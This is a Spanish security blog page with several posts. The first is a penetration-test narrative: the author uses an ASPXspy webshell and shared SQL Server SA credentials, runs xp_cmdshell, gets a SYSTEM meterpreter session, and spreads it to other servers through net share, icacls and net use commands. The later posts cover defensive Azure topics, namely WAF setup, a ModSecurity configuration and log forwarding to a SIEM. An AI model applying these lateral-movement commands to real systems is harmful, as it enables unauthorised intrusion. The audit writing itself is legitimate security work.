miércoles, 19 de abril de 2017

WebShell Windows. Como subir exe-meterpreter a distintos host mediante sqlserver...

Estimados amigos de Inseguros !!!

Voy a comentar un par de trucos que he tenido que usar para un proyecto de auditoria de un cliente.

El escenario es un poco raro, o mejor dicho, difícil de explicar, voy a intentar reflejarlo bien.

Seguro que hay mil maneras de hacer lo mismo, pero no se me ha ocurrido otra forma.

Escenario, servidor web con Sql Server comprometido con una webshell, la típica ASPXspy que me gusta bastante. Granja de servidores Windows parcheados, sin la misma clave de admin, y con el Sql Server con el mismo SA.

Lo primero que hago es ver los archivos web.config para intentar acceder a la base de datos. Como es normal, y por mucho que se diga, la conexión a la base de datos la hacen con el usuario SA, por lo que puedo ver TODAS las bbdd, me ahorran tener que ir uno a uno por los directorios de los proyectos viendo los ficheros, y bueno, tener acceso completo al Sql Server.

Ahora es el paso de subir un exe con el payload de meterpreter para intentar hacer la post-explotación más cómoda. Lo subo y desde la misma herramienta ejecuto el cmd con el fichero y tengo mi meterpreter.


Al contrario que en los manuales, cuando intento escalar privilegios me encuentro que NINGUNO de los métodos que leo me sirven. Imagino que el nivel de parcheo del server es alto, porque usando los típicos módulos para escalada no consigo pasar del iis_pool, el proceso que corre la web, y por lo tanto con el que corre el meterpreter.

Con la amabilidad que presenta esta webshell, me conecto al Sql Server y ejecuto un cmd_shell, que está vez si está habilitado, pero qué con la misma web shell tenemos la opción para habilitarlo si no lo estuviese, para eso somos SA xD.


Teniendo acceso al cmd con el "proceso" que corre el Sql Server pienso en ejecutar el exe meterpreter pero desde este contexto, y no desde el cmd de la webshell. Cual es el resultado, que la sesión meterpreter se me abre como system... en vez de iis_pool, por qué ? porque la gente no sabe aún que los servicios importantes, como Sql Server, Exchange, etc, se deben ejecutar con usuarios aislados del sistema. Pues nada, gracias. !!! Ahora ya puedo migrar a proceso, persistencia y hacer hashdump, incongito, etc...


Una vez "dentro" de la red encuentro una granja de servidores Sql Server en una dmz.

Con psexec intento conectarme a cada uno, pero no, no usan la misma clave de administrador que tengo del primer server ( Realmente la clave no, el hash, pero es lo mismo...)


Se me ocurre pensar, que los 10 servidores Windows no compartían la clave del admin, pero serán tan finos de hacer lo mismo para el Sql Server nooooooo, mismo SA en todos.

Entonces, teniendo acceso system a una consola cmd, pero solo desde la webshell, como hago para llevarme todo eso a meterpreter?

Se me ocurre compartir el .exe original en el primer servidor, con este comando:

Exec master.dbo.xp_cmdshell ' net share hackeo=C:\inetpub\wwwroot**************\uploads /GRANT:EVERYONE,READ'

Empiezo con las tonterías, hay que poner Todos en castellano.

A pesar de indicarle que quiero los permisos TODOS LEER no comparte sin usuario/clave, por lo que tengo que hacer esto:

Exec master.dbo.xp_cmdshell 'Icacls C:\inetpub\wwwroot\up\uploads\ /grant Todos:F /inheritance:e /T'

Ahora ya tengo compartida mi carpeta con el meterpreter.exe.

Ahora solo tengo que conectarme a los servidores destino, recuerda, con la opción de base de datos de la webshell, añadir la unidad de red, y ejecutar el meterpreter.exe.

Exec master.dbo.xp_cmdshell 'net use l: \\192.168.1.250\hack '

TAMPOCO !!! No hay manera de decirle que los permisos eran TODOS, LEER. por lo que tengo que crearme un usuario local en el primer server, y pasarle de argumento a este comando el user/pass

**Imagino que los permisos que establezco son a nivel carpeta compartida, por lo que si no están los permisos a nivel ntfs sobre la carpeta/fichero compartido no accede, pero no tengo ganas de cambiar los permisos a nivel NTFS, le paso el usuario/pass y listo**

Ahora si que ejecuto el meterpreter en los 10 servidores, todos con permiso system.

¿Como lo hubieras hecho tu, si lo único que tienes es el SA de los servidores SQL Server, y los Windows están actualizados?

Gracias por leerme!!!


jueves, 13 de abril de 2017

1 millón de visitas en 5 años. Gracias Internete !!!

Estimados amigos de Inseguros !!!

La máquina no para, avanza, a veces corre a veces a ralentí pero no para. Don´t stop.



El motivo del post es celebrar el millón de visitas, para mi, un hecho impensable hace 5 años cuando comencé esta aventura personal llamada Inseguros.

Si hago un repaso a lo que ha cambiado mi vida en estos 5 años, me puedo hasta marear.


Lo mejor de todo es que esto ha sido posible gracias a ti.

Cuando le dijo a mis hijos que tengo 1 millón de visitas se creen que has mes, o al artículo. Quizás los blogs más populares de la materia si manejen esas cifras, o parecidas, pero no es mi caso. Mi caso es 1.000 visitas al día y ya las fluctuaciones normales de si hay post o no, de si es bueno o no, o de si alguno de los post se "mini" viraliza y crea alguna polémica o transcendencia en los foros.

Empecé este proyecto por varios motivos, que a fecha de hoy siguen siendo los mismos. Eso me enorgullece.

Quise tener mi repositorio de "conocimiento" para tirar luego de chuletas en casos de necesidad.

Quise tener mi repositorio propio obligarme a documentar y terminar los proyectos e ideas que se me ocurrían. Ya sabes, esas miles de cosas que vas leyendo super interesantes, y que nunca pones a la práctica.

Estas dos fueron los principales motivos de Inseguros.

Hace unos 15/20 años empecé uno también con kinomakino.tk con cosas de Microsoft, como no :-) pero lo abandoné en menos de 6 meses, las típicas "locuras" de joven xDDDDDDDD


Gracias al blog he conocido a muchas personas, porque creas o no, a donde he ido siempre he ido con "soy kino del blog Inseguros" y es una manera de conocer gente, de entrarle. Al igual que hago con mis tarjetas, cuando conozco a alguien y le doy mi tarjeta de visita no lo hago para que me llame para darme trabajo, ni mucho menos para darme el follón, es simplemente una manera social de acercarme. ** Subnormal**

He podido dar charlas en sitios muy interesantes, y esto es algo de lo que tengo en mente hablar alguien día, pero ahora mismo solo dar las gracias a todos aquellos que me han hecho sentir importante, querido, guardándome un sitio en sus proyectos. El primero como siempre Navaja Negra.


Todo esto respecto a mi. Respecto al blog. Estoy super orgulloso del crecimiento que ha tenido, para mi, en calidad. Comencé documentando herramientas y procesos sencillos. En algunos casos realice investigaciones propias, en otras solo revele mis ideas, pero creo que con el tiempo han madurado.

Mi estilo de escritura, faltas de ortografía y demás, no ha cambiado. MUCHOS me decían que tenía que cambiar eso para ser mas serios. A esos les digo que miren para que quiero el blog...

Otra de las cosas en las que estoy orgulloso es que lo mantengo yo, menos 1 artículo creo, todo el contenido es propio. Cuando escribo algo intento ver si en los blogs de la comunidad se ha hablado de lo mismo,si es así la mayoría de las veces desecho el contenido. Si creo que tengo bastante que aportar, por supuesto referencio el articulo previo.

Esto es bueno para mi, porque veo otras blogs que muchas veces repiten, otros copian, otros plagian completo, he visto de todo, y creo que no soy de esos.


Que te guste mas o menos Inseguros, está en cada persona, pero constantemente me llegan muestras de que si le gusta a la gente. No me refiero a los tweets/favoritos/me_gustas, etc de las redes sociales, la mayoría no leen ni una letra, me refiero a esos correos desesperados de gente haciendo procedimientos y que te piden ayuda como si les fuera la vida en ellos. Esa gente que te ve en los eventos y te comenta que siguiendo tu artículo le salió un fallo, o le salió bien !!! Esto si es real !!!

Bueno no tengo mucho más que decir. Muchas gracias por cada una de las visitas y muestras de apoyo que tengo con vosotros. Os kiero !!!


miércoles, 12 de abril de 2017

Azure Waf propio para APPS y Máquinas virtuales.

Estimados amigos de Inseguros !!!

Seguimos con la serie de artículos relacionados con Azure.

En el último artículo estuvimos viendo la posibilidad de incorporar el firewall web por excelencia del mundo software libe, Modsecurity, en nuestros despliegues de Apps en Azure.

Ahora vamos  a realizar una tarea similar, salvo que en esta ocasión vamos a usar el WAF propio que desde hace unos pocos días nos ofrece Azure.

El concepto es sencillo, es muy parecido a cuando configuramos una puerta de enlace para aplicaciones, digamos una ip virtual como hacemos en los casos de balanceadores. Una capa intermedia entre el cliente y el backend de aplicaciones. De esta manera, podemos balancear cargas a varios servidores, o en este caso, implementar una capa intermedia de WAF. Con esta capa podemos realizar las opciones de seguridad tradicionales, y podemos sumar las opciones de balanceo, configurando por ejemplo un grupo de backend para /archivos/ y otro para /vídeos/.


Lo que me parece realmente interesante de este Waf es que usa el mismo conjunto de reglas que podemos usar con Modsecurity en nuestros despliegues, el OWASP Crs 3.0 o 2.2 según preferimos. Imagino que este servicio será un fork de Modsec, no lo se, pero lo que está claro es que si facilidad de uso lo hace indispensable en cualquier escenario de servicios web en Azure. lo bueno que tiene a diferencia también de usar Modsecurity como hicimos en el anterior artículo es que podemos habilitar las opciones de diagnostico como vimos en el capitulo de log integration, es decir, todos los logs generados por el waf estarán disponibles en nuestra integración con el Siem. 


Como siempre intento aportar algo de conocimiento, y es a aquí donde espero ahorraros los días y horas de cabreo que he tenido. Cuando habilitas el diagnostico en la puerta de enlace para que almacene los logs en una cuenta de almacenamiento, a mi me daba problemas, por lo que no veía los logs del Waf.


Para solventarlo tuve que registrar la suscripción Insights en mi suscripción, algo que no aparece documentado en ningún sitio que me hizo perder casi una semana.

Ahora ya puedo ver logs de seguridad del waf en mi cuenta de almacenamiento, y según haya puesto detección o prevención, se pararán los ataques o solo se registrarán.



Con esto tenemos el servicio montado y listo para proteger de ataques web conocidos (conocidos por el conjunto de reglas Owasp). No he podido crear nuevas reglas, como si podríamos hacer si trabajamos con el Modsecurity nativo de los webservers, pero perderíamos las opciones de registro. 

El usar el servicio Waf tiene un coste, calculo que unos 30€ mes, por lo que debemos analizar este recurso. Hay que tener en cuenta que Modsecurity aumenta minimamente las cargas de CPU del servidor, que también son conceptos facturables... Lo que sin duda es más barato que las opciones clásicas de fabricantes de WAF, también disponibles en Azure como appliance virtuales.



martes, 11 de abril de 2017

Azure WAF Mod Security de casa en nuestros despliegues web.

Estimados amigos de Inseguros !!!

Esta gente de Microsoft se ha vuelto loca !!! En un click podemos instalar un servidor web iis con mysql y por ejemplo, un CMS Wordpress. Pero lo más gracioso es que con dos líneas podemos habilitar gratis Mod Security !!!

En esta web hemos hablado bastante de Mod security:

Reglas para Mod Security Free. Comodo y Atomic.

Introduccion a Mod Security y reglas free Owasp.

Consola web para Mod Security.

Mod Security y detener subida de ficheros maliciosos usando File Inspection con tus Home-Made Script.

Prevención de fugas de información en logs. Campo Passwords y Mod security

En todas las auditorias web que hago, cuando no encuentro WAF lo suelo categorizar como deficiencia muy alta. No vulnerabilidad, que es distinto. A no ser que uses un waf dedicado, o un CDN tipo cloudflare, o uses un Firewall Next Generation, IPS o similar, estás dejando todo el tráfico web que pase por delante de Firewall tradicional, por mucho que cueste 100€ o 100.000€. Si no hay inspección de paquetes en capa 7 no estás haciendo nada.


Dicho esto, con Azure podemos usar ModSec de manera sencilla con los despliegues de App.

El proceso es sencillo. Dentro de nuestra Aplicación Azure, ya sea un portal prefabricado o desarrollo propio, accedemos a las herramientas y accedemos a Kudu, una herramienta que nos permite acceder al sistema de ficheros de nuestra APP. Recuerda que en el sistema cloud de aplicación como servicio nosotros no manejamos el servidor web, esto sería plataforma como servicio. Tampoco manejamos el sistema operativo, esto sería infraestructura como servicio...



Ahora creamos el fichero web.config si no lo teníamos creado. En mi caso habilito Mod security y configuro que no se puedan bajar los ficheros .conf. ****esto quiere decir que todos los IIS que tienen Azure vienen con el modulo de Mod Security instalado. que fuerteeeeeeeeeee me pareceeeeeeeee***

<configuration> 
<system.webServer> 
<ModSecurity enabled="true" configFile="D:\home\site\wwwroot\modsecurity_iis.conf" /> 
<security> 
<requestFiltering> 
<hiddenSegments> 
<add segment="modsecurity" /> 
</hiddenSegments> 
<fileExtensions> 
<add fileExtension=".conf" allowed="false" /> 
</fileExtensions> 
</requestFiltering> </security> 
</system.webServer> 
</configuration> 

Ahora creo el fichero modsecurity.conf con esta configuración que al menos me funciona.

# based on modsecurity.conf-recommended
# -- Rule engine initialization ----------------------------------------------
# Enable ModSecurity, attaching it to every transaction. Use detection
# only to start with, because that minimises the chances of post-installation
# disruption.
#
SecRuleEngine On
# -- Request body handling ---------------------------------------------------
# Allow ModSecurity to access request bodies. If you don't, ModSecurity
# won't be able to see any POST parameters, which opens a large security
# hole for attackers to exploit.
#
SecRequestBodyAccess On
# Enable XML request body parser.
# Initiate XML Processor in case of xml content-type
#
# Enable JSON request body parser.
# Initiate JSON Processor in case of JSON content-type; change accordingly
# if your application does not use 'application/json'
#
# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072

# Store up to 128 KB of request body data in memory. When the multipart
# parser reachers this limit, it will start using your hard disk for
# storage. That is slow, but unavoidable.
#
SecRequestBodyInMemoryLimit 131072

# What do do if the request body size is above our configured limit.
# Keep in mind that this setting will automatically be set to ProcessPartial
# when SecRuleEngine is set to DetectionOnly mode in order to minimize
# disruptions when initially deploying ModSecurity.
#
SecRequestBodyLimitAction Reject

# Verify that we've correctly processed the request body.
# As a rule of thumb, when failing to process a request body
# you should reject the request (when deployed in blocking mode)
# or log a high-severity alert (when deployed in detection-only mode).
#
# PCRE Tuning
# We want to avoid a potential RegEx DoS condition
#
SecPcreMatchLimit 1000
SecPcreMatchLimitRecursion 1000
# Some internal errors will set flags in TX and we will need to look for these.
# All of these are prefixed with "MSC_".  The following flags currently exist:
#
# MSC_PCRE_LIMITS_EXCEEDED: PCRE match limits were exceeded.
#
# -- Response body handling --------------------------------------------------
# Allow ModSecurity to access response bodies. 
# You should have this directive enabled in order to identify errors
# and data leakage issues.
# Do keep in mind that enabling this directive does increases both
# memory consumption and response latency.
#
#SecResponseBodyAccess On
# Which response MIME types do you want to inspect? You should adjust the
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml
# Buffer response bodies of up to 512 KB in length.
SecResponseBodyLimit 524288
# What happens when we encounter a response body larger than the configured
# limit? By default, we process what we have and let the rest through.
# That's somewhat less secure, but does not break any legitimate pages.
#
SecResponseBodyLimitAction ProcessPartial
# -- Filesystem configuration ------------------------------------------------
# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
# This default setting is chosen due to all systems have /tmp available however, 
# this is less than ideal. It is recommended that you specify a location that's private.
#
SecTmpDir c:\inetpub\temp\
# The location where ModSecurity will keep its persistent data.  This default setting 
# is chosen due to all systems have /tmp available however, it
# too should be updated to a place that other users can't access.
#
SecDataDir c:\inetpub\temp\
# -- File uploads handling configuration -------------------------------------
# The location where ModSecurity stores intercepted uploaded files. This
# location must be private to ModSecurity. You don't want other users on
# the server to access the files, do you?
#
#SecUploadDir /opt/modsecurity/var/upload/
# By default, only keep the files that were determined to be unusual
# in some way (by an external inspection script). For this to work you
# will also need at least one file inspection rule.
#
#SecUploadKeepFiles RelevantOnly
# Uploaded files are by default created with permissions that do not allow
# any other user to access them. You may need to relax that if you want to
# interface ModSecurity to an external program (e.g., an anti-virus).
#
#SecUploadFileMode 0600
# -- Debug log configuration -------------------------------------------------
# The default debug log configuration is to duplicate the error, warning
# and notice messages from the error log.
#
#SecDebugLog /opt/modsecurity/var/log/debug.log
#SecDebugLogLevel 3
# -- Audit log configuration -------------------------------------------------
# Log the transactions that are marked by a rule, as well as those that
# trigger a server error (determined by a 5xx or 4xx, excluding 404,  
# level response status codes).
#
#SecAuditEngine RelevantOnly
#SecAuditLogRelevantStatus "^(?:5|4(?!04))"
# Log everything we know about a transaction.
#SecAuditLogParts ABIJDEFHZ
# Use a single file for logging. This is much easier to look at, but
# assumes that you will use the audit log only ocassionally.
#
#SecAuditLogType Serial
#SecAuditLog c:\inetpub\log\modsec_audit.log
# Specify the path for concurrent audit logging.
#SecAuditLogStorageDir c:\inetpub\log\
# -- Miscellaneous -----------------------------------------------------------
# Use the most commonly used application/x-www-form-urlencoded parameter
# separator. There's probably only one application somewhere that uses
# something else so don't expect to change this value.
#
SecArgumentSeparator &
# Settle on version 0 (zero) cookies, as that is what most applications
# use. Using an incorrect cookie version may open your installation to
# evasion attacks (against the rules that examine named cookies).
#
SecCookieFormat 0
# Specify your Unicode Code Point.
# This mapping is used by the t:urlDecodeUni transformation function
# to properly map encoded data to your language. Properly setting
# these directives helps to reduce false positives and negatives.
#
#SecUnicodeCodePage 20127
#SecUnicodeMapFile unicode.mappinga
# Improve the quality of ModSecurity by sharing information about your
# current ModSecurity version and dependencies versions.
# The following information will be shared: ModSecurity version,
# Web Server version, APR version, PCRE version, Lua version, Libxml2
# version, Anonymous unique id for host.
SecStatusEngine On

Ahora creamos otros fichero que denomino modsecurity_iis.conf con el siguiente contenido:

Include modsecurity.conf
Include D:\home\site\wwwroot\rules\*.conf

Creamos el directorio de rules.

Ahora la partida de pecho ha sido averiguar que el actual conjunto de reglas OWasp versión 3 no funciona con esta versión de modsecurity. He cargado mil reglas, probado, escrito. Al final, me he dado cuenta que el conjunto de regla válido es el 2.3, disponible aquí. https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/v2.2/master/base_rules

En este ejemplo el sistema se ha puesto en modo On, es decir, va a parar cualquier intento que catalogue como ataque. Recuerda que hay que hacer primero una limpieza de falsos positivos, mediante la opción DetectionOnly.

Si quieres ver el log por defecto el sistema lo escribe en D:\home\LogFiles>eventlog.xml


El log que ves es una prueba simple, lanzando un nikto sobre la url para que detecte el User_Agent

Ya no tienes excusa para no instalar un sistema Waf



lunes, 10 de abril de 2017

Acerca la nube a casa. Azure logs to local Siem.

Estimados amigos de Inseguros !!!


Voy a comenzar una seria de artículos cuyo objetivo será acercar al lector a la seguridad de Azure.


Dentro de poco/hace unos días participaré en el evento de Azsure Boot Camp en España el día mundial del del evento, el sábado 22 de abril donde daré una charla sobre seguridad en Azure.


Estos artículos no van a ser el típico mapa de framework explicando lo bien que lo ha hecho Microsoft. Espero dar una visión realista, de andar por casa, de como podemos aprovechar las opciones de seguridad de Azure para nuestro trabajo diario.

Hace unos días hablamos ya del centro de seguridad en Azure en este artículo.

Vamos a retomarlo precisamente por donde lo dejamos, con los logs.

Imagino que en tu organización tendrás resulta la gestión centralizada de logs, mas bien orientados a la monitorización de red, con Nagios o similares, y a la gestión de eventos de seguridad, con ELK o alguna solución SIEM. Aquí hemos hablado mucho de Ossim, el Siem Software libre que manejo.

Si tienes un recurso publicado en la nube de Azure o en cualquier otro proveedor Cloud es necesario monitorizar los eventos de seguridad que ocurren en ese "cielo". El proveedor del Cloud nos suele ofrecer seguridad, pero es seguridad como mucho a capa 3 de red, con algunas reglas básicas anti ddos, ya que pueden afectar a la infraestructura global, pero poco más. No vas a tener seguridad a nivel aplicacion... (atento al siguiente artículo) ni a otros niveles.

En el procedimiento de hoy vamos a aprender a conectar nuestro fuente de información en Azure, los logs, a nuestro equipo local para poder engancharlo a nuestro SIEM o sistema de monitorización que usemos.


Lo primero que hacemos es descargar el componente AZLOG Integration a nuestro equipo e instalarlo.

El instalador da un petazo porque no encuentra el grupo: Performance Monitor Users. La chapuza de crearlo aunque esté en castellano funciona...

Otras veces he comprobado que no crea el usuario AZlog. Otras veces he comprobado que en el directorio de c:\usuario\azlog\ no le da permisos al usuario, teniéndolo que hacer manualmente.

Salvo estos consejos ( 3 o 4 días de partirme la cara con esto) , seguimos el procedimiento indicado en la web de Microsoft. https://docs.microsoft.com/en-us/azure/security/security-azure-log-integration-get-started

El asunto es muy sencillo, mediante PowerShell indicamos que espacio de almacenamiento queremos usar para trasladar los logs y con esto tenemos disponibles en nuestro visor de eventos los logs de sucesos relativos a la seguridad de Azure.


Es importante habilitar en las opciones de diagnosticos de servidores y servicios la opción de almacenamiento, es decir, tenemos que decirle a Azure que queremos guardar los logs de eventos en la cuenta de almacenamiento que, posteriormente, sincronizamos con el visor de eventos.


Uno de los pasos que puedes hacer es primero habilitar el diagnostico en todos los servers y mediante el explorador de almacenamiento de Azure, comprobar que se están guardando los registros.


Si por cualquier motivo prefieres acceder a los logs a nivel de fichero local, los puedes encontrar en la ruta del usuario c:\usuarios\azlog\




Related Posts Plugin for WordPress, Blogger...